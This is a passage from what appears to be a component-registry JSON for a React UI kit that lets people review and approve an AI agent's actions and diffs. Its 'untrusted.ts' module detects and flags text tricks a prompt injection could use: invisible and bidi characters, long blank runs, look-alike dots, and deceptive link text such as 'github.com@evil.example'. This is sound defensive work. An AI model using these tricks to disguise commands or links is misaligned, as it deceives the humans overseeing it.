'Approvals waiting',\n    waiting: (count) => `${count} approvals are waiting.`,\n    approveAll: 'Approve all',\n    denyAll: 'Deny all',\n    confirm: 'Confirm approve all',\n    critical: 'One of them is critical. Press Approve all again to confirm.',\n    answered: (count, approved) => `${count} approvals ${approved ? 'approved' : 'denied'}.`,\n  },\n};\n\nexport const diffReviewLabels: SignoffLabels['diffReview'] = {\n  title: 'Review changes',\n  layout: 'Diff layout',\n  views: { unified: 'Unified', split: 'Split' },\n  files: (count) => `${count} ${plural(count, 'file')}`,\n  hunks: (count, comparing) => `${count} ${plural(count, 'hunk')}${comparing ? ' so far' : ''}`,\n  status: {\n    modified: { letter: 'M', name: 'Modified' },\n    added: { letter: 'A', name: 'Added' },\n    deleted: { letter: 'D', name: 'Deleted' },\n    renamed: { letter: 'R', name: 'Renamed' },\n  },\n  navigator: 'Files in this review',\n  navigatorState: (decided, total, viewed) => `, ${decided} of ${total} decided${viewed ? ', viewed' : ''}`,\n  comparingShort: 'comparing…',\n  renamedTo: 'to',\n  toggleFile: (collapsed, path) => `${collapsed ? 'Show' : 'Hide'} ${path}`,\n  viewed: 'Viewed',\n  rejectFile: 'Reject file',\n  acceptFile: 'Accept file',\n  comparing: 'Comparing changes…',\n  fallback: 'Too many changes to compare line by line: the changed lines are shown as one hunk that replaces them.',\n  noChanges: 'No textual changes.',\n  wholeFile: (status, binary, oldPath) =>\n    binary\n      ? 'Binary file, not shown.'\n      : status === 'renamed'\n        ? `Renamed from ${oldPath}, without changes.`\n        : status === 'deleted'\n          ? 'Empty file, deleted.'\n          : 'New empty file.',\n  accept: 'Accept',\n  reject: 'Reject',\n  itemName: (kind, n) => `${kind === 'hunk' ? 'hunk' : 'change'} ${n}`,\n  acceptItem: (item) => `Accept ${item}`,\n  rejectItem: (item) => `Reject ${item}`,\n  resetItem: (item) => `Reset ${item}`,\n  commentOn: (what) => `Comment on ${what}`,\n  badge: { accepted: 'accepted', rejected: 'rejected' },\n  hunk: (n, total, path, from, to, decision) =>\n    `Hunk ${n} of ${total}, ${path}, lines ${from} to ${to}, ${DECISION[decision]}`,\n  fileItem: (n, total, path, what, decision) => `Change ${n} of ${total}, ${path}, ${what}, ${DECISION[decision]}`,\n  describeFile: (status, binary, oldPath) =>\n    binary\n      ? 'binary file'\n      : status === 'renamed'\n        ? `renamed from ${oldPath}`\n        : status === 'deleted'\n          ? 'deleted empty file'\n          : 'new empty file',\n  hunkCode: (n, path) => `Hunk ${n} code, ${path}`,\n  added: 'Added: ',\n  removed: 'Removed: ',\n  decided: (kind, n, total, decision, remaining) =>\n    `${kind === 'hunk' ? 'Hunk' : 'Change'} ${n} of ${total} ${decision === 'pending' ? 'reset' : decision}. ${\n      remaining === 0 ? 'All hunks reviewed.' : `${remaining} remaining.`\n    }`,\n  decidedAll: (total, decision) => `All ${total} hunks ${decision}.`,\n  decidedFile: (count, path, decision) => `${count === 1 ? 'The hunk' : `All ${count} hunks`} in ${path} ${decision}.`,\n  viewedAnnouncement: (path, viewed, total) => `${path} viewed. ${viewed} of ${total} files viewed.`,\n  notViewedAnnouncement: (path) => `${path} no longer viewed.`,\n  lines,\n  selected: (line, range) => {\n    const text = lines(range);\n    return `${line}. ${text.charAt(0).toUpperCase()}${text.slice(1)} selected.`;\n  },\n  where: (comment) =>\n    comment.target === 'file'\n      ? 'the file'\n      : comment.target === 'hunk'\n        ? 'the hunk'\n        : lines({ side: comment.side ?? 'new', startLine: comment.startLine ?? 0, endLine: comment.endLine ?? 0 }),\n  commentHeading: (where) => ({ hidden: 'Comment ', visible: `On ${where}` }),\n  commentField: (where) => `Comment on ${where}, for the agent`,\n  commentPlaceholder: 'What should change here?',\n  editComment: (where) => `Edit comment on ${where}`,\n  deleteComment: (where) => `Delete comment on ${where}`,\n  edit: 'Edit',\n  delete: 'Delete',\n  cancel: 'Cancel',\n  saveComment: 'Save comment',\n  addComment: 'Comment',\n  commentAdded: (where, path) => `Comment added on ${where} of ${path}.`,\n  commentUpdated: 'Comment updated.',\n  commentDeleted: 'Comment deleted.',\n  unchangedLines: (count) => `${count} unchanged ${plural(count, 'line')}`,\n  moreAfter: (count, hunk) => ({\n    visible: `${count} more`,\n    hidden: ` unchanged ${plural(count, 'line')} after hunk ${hunk}`,\n  }),\n  moreBefore: (count, hunk) => ({\n    visible: `${count} more`,\n    hidden: ` unchanged ${plural(count, 'line')} before hunk ${hunk}`,\n  }),\n  showAll: (count) => ({ visible: 'Show all', hidden: ` ${count} unchanged ${plural(count, 'line')}` }),\n  expanded: (count) => `Showing ${count} more unchanged ${plural(count, 'line')}.`,\n  reviewed: 'reviewed',\n  filesViewed: (viewed, total) => `${viewed} of ${total} files viewed`,\n  comments: (count) => `${count} ${plural(count, 'comment')}`,\n  comparingFiles: 'comparing files…',\n  skipped: 'unreviewed hunks are skipped',\n  apply: (accepted, total) => (accepted > 0 ? `Apply ${accepted} of ${total}` : 'Apply changes'),\n  submitted: (accepted, total, comments) =>\n    `Review sent: ${accepted} of ${total} accepted${comments > 0 ? `, ${comments} ${plural(comments, 'comment')}` : ''}.`,\n  acceptAll: 'Accept all',\n  rejectAll: 'Reject all',\n  keyHints: { move: 'move', accept: 'accept', reject: 'reject', comment: 'comment', apply: 'apply' },\n  keyboardHelp: (mod) =>\n    `Keyboard: J or K to move between hunks, Shift J or Shift K between files, A to accept, R to reject, U to reset, Alt A or Alt R for the whole file, Shift A or Shift R for every hunk, Shift with the up or down arrow to select lines, C to comment on them or on the hunk, E to show more unchanged lines, V to mark the file viewed, ${mod} Enter to apply.`,\n};\n\nexport const markdownLabels: SignoffLabels['markdown'] = {\n  code: (language) => (language && language !== 'text' ? `Code, ${language}` : 'Code'),\n  codeBadge: 'code',\n  copyCode: 'Copy code',\n  table: 'Table',\n  image: 'Image:',\n  imageFallback: 'image',\n  citation: (n) => `Source ${n}`,\n  task: 'Task',\n};\n\nexport const reasoningLabels: SignoffLabels['reasoning'] = {\n  thinking: 'Thinking',\n  thoughtFor: (duration) => `Thought for ${duration}`,\n  reasoning: 'Reasoning',\n};\n\nexport const runMeterLabels: SignoffLabels['runMeter'] = {\n  title: 'Run',\n  metrics: (live) => `Run metrics${live ? ' (live)' : ''}`,\n  summary: ({ input, output, cost, ttft, total }) =>\n    [\n      `${input} input tokens`,\n      `${output} output tokens`,\n      cost !== undefined ? `estimated cost ${cost}` : undefined,\n      ttft !== undefined ? `time to first token ${ttft}` : undefined,\n      total !== undefined ? `total ${total}` : undefined,\n    ]\n      .filter(Boolean)\n      .join(', '),\n  inputTokens: 'Input tokens',\n  outputTokens: 'Output tokens',\n  estimatedCost: 'Estimated cost',\n  timeToFirstToken: 'Time to first token',\n  totalTime: 'Total time',\n  ttft: 'TTFT',\n  live: 'Live',\n  tokens: 'Tokens',\n  estCost: 'Est. cost',\n  breakdown: 'Token breakdown',\n  split: (input, output) => `Input ${input} · Output ${output}`,\n  input: 'Input',\n  output: 'Output',\n  cached: (n) => `(${n} cached)`,\n  reasoningTokens: (n) => `(${n} reasoning)`,\n  total: 'Total',\n  cacheHit: 'Cache hit',\n  costSplit: (input, output) => `${input} input · ${output} output`,\n  rates: (input, output) => `$${input}/$${output} per 1M`,\n};\n\nexport const approvalPolicyLabels: SignoffLabels['approvalPolicy'] = { ruleDenial: 'Denied by a rule' };\n\nexport const sourcesLabels: SignoffLabels['sources'] = { label: 'Sources', document: 'Document' };\n\nexport const agentMessageLabels: SignoffLabels['agentMessage'] = { attachedImage: 'Attached image' };\n\nexport const untrustedLabels: SignoffLabels['untrusted'] = {\n  invisible: (count, codes) =>\n    count === 1 ? `Invisible character ${codes[0]}` : `${count} invisible characters: ${codes.join(', ')}`,\n  blank: (count, lines) => (lines ? `${lines} line breaks` : `${count} blank characters`),\n  linksTo: (host) => `Links to ${host}`,\n};\n\n/** The English labels, as the components read without any. */\nexport const defaultLabels: SignoffLabels = {\n  format: formatLabels,\n  common: commonLabels,\n  agentStatus: agentStatusLabels,\n  toolCallTimeline: toolCallTimelineLabels,\n  approvalCard: approvalCardLabels,\n  diffReview: diffReviewLabels,\n  markdown: markdownLabels,\n  reasoning: reasoningLabels,\n  runMeter: runMeterLabels,\n  approvalPolicy: approvalPolicyLabels,\n  sources: sourcesLabels,\n  agentMessage: agentMessageLabels,\n  untrusted: untrustedLabels,\n};\n\n/** A part of the labels: any section, any key, at any depth. */\nexport type SignoffLabelsInput = {\n  [K in keyof SignoffLabels]?: DeepPartial<SignoffLabels[K]>;\n};\n\ntype DeepPartial<T> = T extends (...args: never[]) => unknown\n  ? T\n  : T extends object\n    ? { [K in keyof T]?: DeepPartial<T[K]> }\n    : T;\n\nconst isRecord = (value: unknown): value is Record<string, unknown> =>\n  typeof value === 'object' && value !== null && !Array.isArray(value);\n\n/** Labels with some replaced: plain objects merge key by key, strings and functions replace. */\nexport function mergeLabels<T extends SignoffLabelsInput>(\n  base: T,\n  ...overrides: (SignoffLabelsInput | undefined)[]\n): T {\n  const merge = (a: unknown, b: unknown): unknown => {\n    if (b === undefined) return a;\n    if (!isRecord(a) || !isRecord(b)) return b;\n    const out: Record<string, unknown> = { ...a };\n    for (const [key, value] of Object.entries(b)) out[key] = merge(a[key], value);\n    return out;\n  };\n  return overrides.reduce<T>((labels, next) => merge(labels, next) as T, base);\n}\n",
      "type": "registry:lib",
      "target": "components/signoff-ui/lib/labels.ts"
    },
    {
      "path": "packages/signoff-ui/src/lib/primitives.tsx",
      "content": "'use client';\n\nimport {\n  createElement,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n  type ComponentPropsWithoutRef,\n  type ReactNode,\n} from 'react';\nimport { CheckIcon, CopyIcon } from './icons';\nimport { safeStringify } from './format';\nimport { TOKEN_CLASS, tokenizeLine } from './highlight';\nimport { cn } from './utils';\nimport { commonLabels, type SignoffLabelsInput } from './labels';\nimport { useLabels, WithLabels } from '../labels';\n\n/** The labels' sections this module reads. */\nconst LABELS = { common: commonLabels };\n\n/**\n * An <img> for images from messages, written without JSX. Next.js' `no-img-element` lint rule\n * flags the element and suggests next/image, which cannot load these URLs without every host\n * configured; a comment disabling that rule would itself be an error where ESLint has no Next.js\n * plugin. The repository's ESLint config checks `Img` for alt text like an <img>.\n */\nexport function Img({ alt, ...props }: ComponentPropsWithoutRef<'img'> & { alt: string }) {\n  return createElement('img', { alt, ...props });\n}\n\n/**\n * Keyboard key hint. Purely visual: shortcuts are also described in text for assistive tech. Left to\n * right in a right-to-left page too, so `⇧N` does not show as `N⇧`.\n */\nexport function Kbd({ className, ...props }: ComponentPropsWithoutRef<'kbd'>) {\n  return (\n    <kbd\n      dir=\"ltr\"\n      className={cn(\n        'border-signoff-border-strong bg-signoff-bg/40 font-signoff-mono text-signoff-fg-muted inline-flex h-5 min-w-5 items-center justify-center rounded-[5px] border px-1 text-[11px] leading-none font-medium',\n        className,\n      )}\n      {...props}\n    />\n  );\n}\n\n/** A visually hidden live region. Render it unconditionally so updates are announced. */\nexport function LiveRegion({\n  children,\n  politeness = 'polite',\n}: {\n  children?: ReactNode;\n  politeness?: 'polite' | 'assertive';\n}) {\n  return (\n    <div\n      className=\"sr-only\"\n      role={politeness === 'assertive' ? 'alert' : 'status'}\n      aria-live={politeness}\n      aria-atomic=\"true\"\n    >\n      {children}\n    </div>\n  );\n}\n\n/** Returns `value` after it has been stable for `delayMs`. */\nexport function useDebouncedValue<T>(value: T, delayMs: number): T {\n  const [debounced, setDebounced] = useState(value);\n  useEffect(() => {\n    const id = setTimeout(() => setDebounced(value), delayMs);\n    return () => clearTimeout(id);\n  }, [value, delayMs]);\n  return debounced;\n}\n\nexport function CopyButton({ text, label, className }: { text: string; label: string; className?: string }) {\n  const L = useLabels(LABELS);\n  const [copied, setCopied] = useState(false);\n  const timer = useRef<ReturnType<typeof setTimeout> | undefined>(undefined);\n  useEffect(() => () => clearTimeout(timer.current), []);\n  return (\n    <button\n      type=\"button\"\n      onClick={async () => {\n        try {\n          await navigator.clipboard.writeText(text);\n          setCopied(true);\n          clearTimeout(timer.current);\n          timer.current = setTimeout(() => setCopied(false), 1500);\n        } catch {\n          // Clipboard can be unavailable (permissions, insecure context); fail quietly.\n        }\n      }}\n      aria-label={copied ? L.common.copied : label}\n      className={cn(\n        'text-signoff-fg-subtle hover:bg-signoff-surface-2 hover:text-signoff-fg focus-visible:outline-signoff-ring inline-flex size-7 cursor-pointer items-center justify-center rounded-md transition-colors focus-visible:outline-2 focus-visible:outline-offset-1',\n        className,\n      )}\n    >\n      {copied ? <CheckIcon size={14} className=\"text-signoff-accent-fg\" /> : <CopyIcon size={14} />}\n    </button>\n  );\n}\n\n/** Syntax-tinted, line-tokenized code. */\nexport function CodeLines({ code, language }: { code: string; language: string }) {\n  const lines = useMemo(() => code.split('\\n'), [code]);\n  return (\n    <code>\n      {lines.map((line, i) => (\n        <span key={i} className=\"block min-h-[1lh]\">\n          {tokenizeLine(line, language).map((t, j) => (\n            <span key={j} className={TOKEN_CLASS[t.kind] || undefined}>\n              {t.text}\n            </span>\n          ))}\n        </span>\n      ))}\n    </code>\n  );\n}\n\nexport interface JsonViewProps {\n  value: unknown;\n  /** Accessible name for the code block, e.g. \"Input\". */\n  label: string;\n  /** Lines shown before \"Show all\" collapses the rest. */\n  collapseAfter?: number;\n  className?: string;\n  /** Words to use instead of the English defaults: see `SignoffLabelsProvider`. */\n  labels?: SignoffLabelsInput | undefined;\n}\n\n/** Read-only JSON with light syntax tinting, a copy button and long-output folding. */\nexport function JsonView({ value, label, collapseAfter = 24, className, labels }: JsonViewProps) {\n  const L = useLabels(LABELS, labels);\n  const text = useMemo(() => (typeof value === 'string' ? value : safeStringify(value)), [value]);\n  const language = typeof value === 'string' ? 'text' : 'json';\n  const lineCount = useMemo(() => text.split('\\n').length, [text]);\n  const [showAll, setShowAll] = useState(false);\n  const folded = !showAll && lineCount > collapseAfter;\n  const shown = folded ? text.split('\\n').slice(0, collapseAfter).join('\\n') : text;\n  return (\n    <div data-signoff data-slot=\"signoff-json-view\" className={cn('group/json relative', className)}>\n      {/* The code keeps the kit's font: Tailwind v3's preflight `code` rule outranks the kit's reset. */}\n      <pre\n        role=\"group\"\n        aria-label={label}\n        tabIndex={0}\n        className=\"border-signoff-border bg-signoff-bg/60 font-signoff-mono text-signoff-fg focus-visible:outline-signoff-ring [&>code]:font-signoff-mono max-h-80 overflow-auto rounded-lg border px-3 py-2.5 text-xs leading-5 whitespace-pre focus-visible:outline-2 focus-visible:outline-offset-1\"\n      >\n        <CodeLines code={shown} language={language} />\n      </pre>\n      <div className=\"absolute top-1.5 right-1.5 opacity-0 transition-opacity group-focus-within/json:opacity-100 group-hover/json:opacity-100 [@media(hover:none)]:opacity-100\">\n        <WithLabels labels={labels}>\n          <CopyButton text={text} label={L.common.copyThe(label)} />\n        </WithLabels>\n      </div>\n      {lineCount > collapseAfter && (\n        <button\n          type=\"button\"\n          onClick={() => setShowAll((v) => !v)}\n          className=\"font-signoff-mono text-signoff-fg-subtle hover:text-signoff-fg focus-visible:outline-signoff-ring mt-1.5 cursor-pointer rounded text-[11px] underline-offset-2 hover:underline focus-visible:outline-2 focus-visible:outline-offset-1\"\n        >\n          {showAll ? L.common.showLess : L.common.showAllLines(lineCount)}\n        </button>\n      )}\n    </div>\n  );\n}\n\nexport const focusRing = 'focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-signoff-ring';\n",
      "type": "registry:lib",
      "target": "components/signoff-ui/lib/primitives.tsx"
    },
    {
      "path": "packages/signoff-ui/src/lib/scroll-region.ts",
      "content": "'use client';\n\nimport { useCallback, useEffect, useLayoutEffect, useRef } from 'react';\n\nconst useIsoLayoutEffect = typeof window === 'undefined' ? useEffect : useLayoutEffect;\n\n/**\n * Keyboard access to a horizontal scroller (WCAG 2.1.1). While its content is wider than it is, it\n * joins the tab order and, given a `label`, becomes a named group, so the arrow keys scroll it\n * natively; once everything fits it leaves the tab order again and adds no tab stop. Measured after\n * every render (streamed content widens it) and whenever it or its content resizes.\n *\n * A group rather than a region, as `JsonView` does: a long conversation with many code blocks\n * would otherwise flood landmark navigation, with several landmarks named \"Code, ts\".\n *\n * The attributes are set on the element directly rather than through state: measuring needs\n * layout, and a re-render on every resize would re-render the content inside too.\n */\nexport function useScrollRegion<T extends HTMLElement>(label?: string) {\n  const ref = useRef<T>(null);\n  const sync = useCallback(() => {\n    const el = ref.current;\n    if (!el) return;\n    if (el.scrollWidth > el.clientWidth + 1) {\n      el.tabIndex = 0;\n      if (label) {\n        el.setAttribute('role', 'group');\n        el.setAttribute('aria-label', label);\n      }\n    } else {\n      el.removeAttribute('tabindex');\n      if (label) {\n        el.removeAttribute('role');\n        el.removeAttribute('aria-label');\n      }\n    }\n  }, [label]);\n\n  useIsoLayoutEffect(() => {\n    sync();\n  });\n\n  useEffect(() => {\n    const el = ref.current;\n    if (!el || typeof ResizeObserver === 'undefined') return;\n    const observer = new ResizeObserver(sync);\n    observer.observe(el);\n    for (const child of el.children) observer.observe(child);\n    return () => observer.disconnect();\n  }, [sync]);\n\n  return ref;\n}\n",
      "type": "registry:lib",
      "target": "components/signoff-ui/lib/scroll-region.ts"
    },
    {
      "path": "packages/signoff-ui/src/lib/untrusted.ts",
      "content": "/**\n * Text and URLs from the agent, shown to the person who decides on them. A prompt injection can\n * write them too, so the components show what would make them read as something other than what\n * runs or opens: characters that do not show, a long run of spaces or of blank lines, and a link\n * whose text names another host. No React here, so servers can call these too.\n */\n\n/**\n * Characters that do not show: format characters (Default_Ignorable_Code_Point: bidi controls,\n * zero-width spaces and joiners, Unicode tags, variation selectors, fillers), the interlinear\n * annotation characters, control characters, and the line and paragraph separators. Tab, newline\n * and a carriage return that ends a line show as what they are, and are left out in `invisible` below.\n */\nconst INVISIBLE = /[\\p{Default_Ignorable_Code_Point}\\p{Cc}\\p{Zl}\\p{Zp}\\uFFF9-\\uFFFB]/u;\n/** The quick test: text with none of these has nothing to show. */\nconst ANY_INVISIBLE = /(?![\\t\\n\\r])[\\p{Cc}\\p{Default_Ignorable_Code_Point}\\p{Zl}\\p{Zp}\\uFFF9-\\uFFFB]|\\r(?!\\n|$)/u;\n/** Spaces other than U+0020, and the blank braille pattern: they look like a space and are not one. */\nconst OTHER_SPACE = /[\\u00A0\\u1680\\u2000-\\u200A\\u202F\\u205F\\u3000\\u2800]/u;\nconst ANY_BLANK = /[ \\t]{2}|[\\u00A0\\u1680\\u2000-\\u200A\\u202F\\u205F\\u3000\\u2800]|\\n(?:[ \\t\\r]*\\n){3}/u;\nconst PICTOGRAPH = /\\p{Extended_Pictographic}/u;\n/** A character that can be an emoji, which a variation selector after it shows as one or as text. */\nconst EMOJI = /\\p{Emoji}/u;\nconst IN_EMOJI = /[\\p{Extended_Pictographic}\\p{Emoji_Modifier}\\uFE0F]/u;\n/** A run of spaces and tabs this wide, a tab counting 8, shows as a mark: about a third of a narrow card. */\nconst BLANK_RUN = 16;\n/**\n * A run of blank characters with this many blank lines in it or more, so 4 line breaks, shows as a\n * mark: blank lines push what follows down, out of view below. Code has up to 2 in a row (PEP 8\n * between definitions), and keeps them.\n */\nconst BLANK_LINES = 3;\n\nexport interface RevealTextOptions {\n  /**\n   * Also mark spaces: a run of spaces and tabs 16 columns wide or more, as its count, a run of 3\n   * blank lines or more, as its count too, and spaces other than U+0020, as their code points. For a\n   * command or a path; not for code, which lines up with spaces.\n   */\n  blanks?: boolean | undefined;\n}\n\n/** A run of characters to show as a mark, in place of the characters. */\nexport interface RevealedMark {\n  /** `invisible`: characters that do not show. `blank`: a long run of spaces and tabs, or of blank lines. */\n  kind: 'invisible' | 'blank';\n  /** The characters. */\n  text: string;\n  /** How many characters there are. */\n  count: number;\n  /** For a run of blank lines, how many line breaks it has, which the mark shows (`↵ ×60`); 0 for any other mark. */\n  lines: number;\n  /** Their code points, each once, in order (`U+202E`); empty for a blank run. */\n  codes: string[];\n  /** What the mark shows: `U+202E`, `U+200B ×240`, `␣ ×240`, and `↵ ×60` for a run of 60 line breaks. */\n  shown: string;\n}\n\n/** A part of the text: as it is, or a mark. */\nexport type RevealedPart = string | RevealedMark;\n\nconst codeOf = (char: string) => `U+${char.codePointAt(0)!.toString(16).toUpperCase().padStart(4, '0')}`;\n\n/**\n * The quick test: false when `revealText` would mark nothing in the text. True does not always mean\n * it marks something: the joiner in an emoji, or a run of 2 spaces, is left as it is.\n */\nexport function hasHidden(text: string, options: RevealTextOptions = {}): boolean {\n  return ANY_INVISIBLE.test(text) || (!!options.blanks && ANY_BLANK.test(text));\n}\n\n/**\n * The text in parts, with marks in place of what would make it read as something it is not:\n * characters that do not show, such as a bidi override (`U+202E`), which shows the text after it\n * reversed, or a zero-width space, and with `blanks`, long runs of spaces or of blank lines. Text\n * with none of them is one part, the text itself. The joiners and variation selectors in an emoji\n * are left as they are.\n */\nexport function revealText(text: string, options: RevealTextOptions = {}): RevealedPart[] {\n  if (!hasHidden(text, options)) return [text];\n  const chars = Array.from(text);\n  const parts: RevealedPart[] = [];\n  let plain = '';\n  let mark: RevealedMark | undefined;\n  /** The spaces, tabs and line breaks since the last other character, which may make a long run. */\n  let run = '';\n  const blank = (blanks: string, lines: number) => {\n    if (plain) parts.push(plain);\n    plain = '';\n    const count = blanks.length;\n    // A run of blank lines shows how many lines it pushes down, not its characters: the spaces on\n    // those lines and the carriage returns of CRLF count in `count` only.\n    const shown = lines ? `↵ ×${lines}` : `␣ ×${count}`;\n    parts.push({ kind: 'blank', text: blanks, count, lines, codes: [], shown });\n  };\n  const flushRun = () => {\n    const lines = run.split('\\n').length - 1;\n    // Enough blank lines to push what follows out of view below are one mark, line breaks and all.\n    if (lines > BLANK_LINES) blank(run, lines);\n    else {\n      // Otherwise each line's spaces count on their own, and the line breaks stay as they are.\n      for (const piece of run.split(/(\\r?\\n)/)) {\n        let width = 0;\n        for (const char of piece) width += char === '\\t' ? 8 : char === ' ' ? 1 : 0;\n        if (width >= BLANK_RUN) blank(piece, 0);\n        else plain += piece;\n      }\n    }\n    run = '';\n  };\n  const invisible = (char: string, i: number) => {\n    if (char === '\\t' || char === '\\n') return false;\n    if (char === '\\r') return i < chars.length - 1 && chars[i + 1] !== '\\n';\n    // The joiner between two emoji that make one (woman, joiner, laptop), and a variation selector\n    // after a character that can be an emoji, such as the one that makes a heart an emoji; after a\n    // digit, `#` or `*`, only in a keycap (1, U+FE0F, U+20E3). After a letter one shows nothing, and\n    // would hide in a word or a host: `git` U+FE0F `hub.com`. Compared by code point: a bundler may\n    // print the escape in a string as the character itself, which does not show.\n    const code = char.codePointAt(0);\n    if (code === 0x200d) return !(IN_EMOJI.test(chars[i - 1] ?? '') && PICTOGRAPH.test(chars[i + 1] ?? ''));\n    if (code === 0xfe0e || code === 0xfe0f) {\n      const before = chars[i - 1];\n      if (before === undefined || !EMOJI.test(before)) return true;\n      return /^[\\d#*]$/.test(before) && chars[i + 1]?.codePointAt(0) !== 0x20e3;\n    }\n    return INVISIBLE.test(char) || (!!options.blanks && OTHER_SPACE.test(char));\n  };\n  chars.forEach((char, i) => {\n    if (invisible(char, i)) {\n      if (run) flushRun();\n      if (!mark) {\n        if (plain) parts.push(plain);\n        plain = '';\n        mark = { kind: 'invisible', text: '', count: 0, lines: 0, codes: [], shown: '' };\n        parts.push(mark);\n      }\n      mark.text += char;\n      mark.count++;\n      const code = codeOf(char);\n      if (!mark.codes.includes(code)) mark.codes.push(code);\n      return;\n    }\n    mark = undefined;\n    // A carriage return here ends a line: one inside a line is a mark, above.\n    if (options.blanks && (char === ' ' || char === '\\t' || char === '\\n' || char === '\\r')) {\n      run += char;\n      return;\n    }\n    if (run) flushRun();\n    plain += char;\n  });\n  if (run) flushRun();\n  if (plain) parts.push(plain);\n  for (const part of parts) {\n    if (typeof part === 'string' || part.kind === 'blank') continue;\n    const { codes, count } = part;\n    part.shown =\n      codes.length <= 2 && count === codes.length\n        ? codes.join(' ')\n        : `${codes[0]}${codes.length > 1 ? ' …' : ''} ×${count}`;\n  }\n  return parts;\n}\n\n/** The classes of a mark: a small badge in the warning color, on one line with the text. */\nexport const MARK_CLASS =\n  'bg-signoff-warn/12 font-signoff-mono text-signoff-warn-fg ring-signoff-warn/40 mx-px inline-block rounded-[3px] px-0.5 text-[0.85em] leading-none whitespace-pre ring-1 ring-inset';\n\nexport interface SafeUrlOptions {\n  /** Also allow `data:` and `blob:` URLs, which an attached file or an image can have. */\n  files?: boolean | undefined;\n}\n\n/**\n * The URL when a link may use it: http, https, mailto, a relative URL, and with `files`, `data:`\n * and `blob:`. Anything else, `javascript:` first, is `undefined`, to render as text instead: React\n * 18 renders a `javascript:` link as it is, and React 19 only replaces it with one that throws.\n */\nexport function safeUrl(url: string | null | undefined, options: SafeUrlOptions = {}): string | undefined {\n  if (!url) return undefined;\n  // A scheme ends at the first colon, before any slash, question mark or hash; without one, the URL\n  // is relative. Browsers skip leading spaces and control characters, so this does too, after\n  // reading the scheme: a regex that skips them first reads a long run of them with no colon again\n  // from each of its characters.\n  const scheme = /^([^:/?#]*):/u\n    .exec(url)?.[1]\n    ?.replace(/^[\\p{Cc} ]+/u, '')\n    .toLowerCase();\n  if (scheme === undefined || scheme === 'http' || scheme === 'https' || scheme === 'mailto') return url;\n  return options.files && (scheme === 'data' || scheme === 'blob') ? url : undefined;\n}\n\n/**\n * Each host link text names, anywhere in it. Group 3: in a URL (`https://github.com/x`), after\n * `www.`, or in an email address, read with the rest of the URL; the name before its `@` is group\n * 1 in a URL (`https://github.com@evil.example`) and group 2 in an email address. Group 4: a word\n * that reads as a domain (`Visit github.com →`, `/github.com`) or an IP address (`8.8.8.8`), read\n * with its path, if any, as group 5; not the name before an `@` (`first.last@`). Each starts only\n * where a word does, so that long text is read once, not once from each of its characters.\n */\nconst NAMED_HOST =\n  /(?:(?<![a-z\\d+.-])[a-z\\d+.-]*:\\/\\/(?:([^\\s/?#@]*)@)?|\\bwww\\.|(?<![^\\s@<>()[\\]/])([^\\s@<>()[\\]/]+)@)([\\p{L}\\p{N}-]+(?:\\.[\\p{L}\\p{N}-]+)*)\\S*|(?<![\\p{L}\\p{M}\\p{N}-]|[\\p{L}\\p{M}\\p{N}-]\\.)((?:[\\p{L}\\p{M}\\p{N}-]+\\.)+\\p{L}[\\p{L}\\p{M}\\p{N}-]+|(?:(?:25[0-5]|2[0-4]\\d|1?\\d?\\d)\\.){3}(?:25[0-5]|2[0-4]\\d|1?\\d?\\d))(?![\\p{L}\\p{M}\\p{N}-]|[.@][\\p{L}\\p{M}\\p{N}-])\\.?([/?#:]\\S*)?/giu;\n/** A whole word that reads as a domain or an IP address, as group 4 of `NAMED_HOST` does. */\nconst DOMAIN =\n  /^(?:(?:[\\p{L}\\p{M}\\p{N}-]+\\.)+\\p{L}[\\p{L}\\p{M}\\p{N}-]+|(?:(?:25[0-5]|2[0-4]\\d|1?\\d?\\d)\\.){3}(?:25[0-5]|2[0-4]\\d|1?\\d?\\d))$/u;\n/**\n * Characters a person reads as a dot, which read as one here: the full stops a URL reads as dots,\n * ideographic (U+3002), full-width (U+FF0E) and halfwidth ideographic (U+FF61), so `github` U+3002\n * `com` goes to github.com; and the stops that only look like one, the one dot leader (U+2024), the\n * small full stop (U+FE52), the raised and middle dots (U+2E33, U+00B7), and the Syriac and Vai full\n * stops (U+0701, U+0702, U+A60E). Only between letters or digits, not beside Chinese, Japanese,\n * Korean, Syriac or Vai, where such a stop ends a sentence, and a middle dot not between two l's,\n * as in Catalan (`col\\u00B7legi`). The Arabic zeros (U+0660, U+06F0) and the Lisu tone mark U+A4F8, which\n * are a digit and a letter, only between Latin letters.\n */\nconst OTHER_DOT =\n  /(?<=[\\p{L}\\p{N}])(?<![\\p{scx=Han}\\p{scx=Hiragana}\\p{scx=Katakana}\\p{scx=Hangul}\\p{scx=Syriac}\\p{scx=Vai}])(?:[\\u3002\\uFF0E\\uFF61\\u2024\\uFE52\\u2E33\\u0701\\u0702\\uA60E]|(?<![lL])\\u00B7|\\u00B7(?![lL]))(?=[\\p{L}\\p{N}])(?![\\p{scx=Han}\\p{scx=Hiragana}\\p{scx=Katakana}\\p{scx=Hangul}\\p{scx=Syriac}\\p{scx=Vai}])|(?<=\\p{scx=Latin})[\\u0660\\u06F0\\uA4F8](?=\\p{scx=Latin})/gu;\n/** A file's or a product's name, which reads like a domain and is not one: `README.md`, `Next.js`. */\nconst FILE_NAME =\n  /\\.(?:[cm]?[jt]sx?|json|mdx?|s?css|html?|py|rb|go|rs|sh|txt|ya?ml|toml|lock|vue|svelte|php|java|kt|swift|cpp|cs|sql|xml|csv|log|zip|pdf|png|jpe?g|gif|svg|webp)$/i;\n/** Of those, the extensions that are top-level domains too: `docs.rs`, `bun.sh`, `get.zip`. */\nconst TLD_EXTENSION = /\\.(?:md|py|rs|sh|zip)$/i;\n\n/** A host as the browser resolves it (lowercase, look-alike letters in punycode), without `www.`. */\nfunction normalHost(host: string): string | undefined {\n  try {\n    return new URL(`http://${host}`).hostname.replace(/^www\\./, '').replace(/\\.$/, '');\n  } catch {\n    return undefined;\n  }\n}\n\n/** Whether a word in a name, such as the one before an `@`, reads as a domain other than `target`. */\nfunction namesOtherDomain(name: string, target: string): boolean {\n  return name.split(/[^\\p{L}\\p{M}\\p{N}.-]/u).some((word) => {\n    const domain = word.replace(/^\\.+|\\.+$/g, '');\n    return DOMAIN.test(domain) && normalHost(domain) !== target;\n  });\n}\n\n/** The last segment of a URL's path, decoded and in lowercase: `readme.md` for `/a/b/README.md`. */\nfunction lastSegment(url: URL): string {\n  const segment = url.pathname.split('/').pop() ?? '';\n  try {\n    return decodeURIComponent(segment).toLowerCase();\n  } catch {\n    return segment.toLowerCase();\n  }\n}\n\n/**\n * The host a link goes to, when its text could make a person think it goes 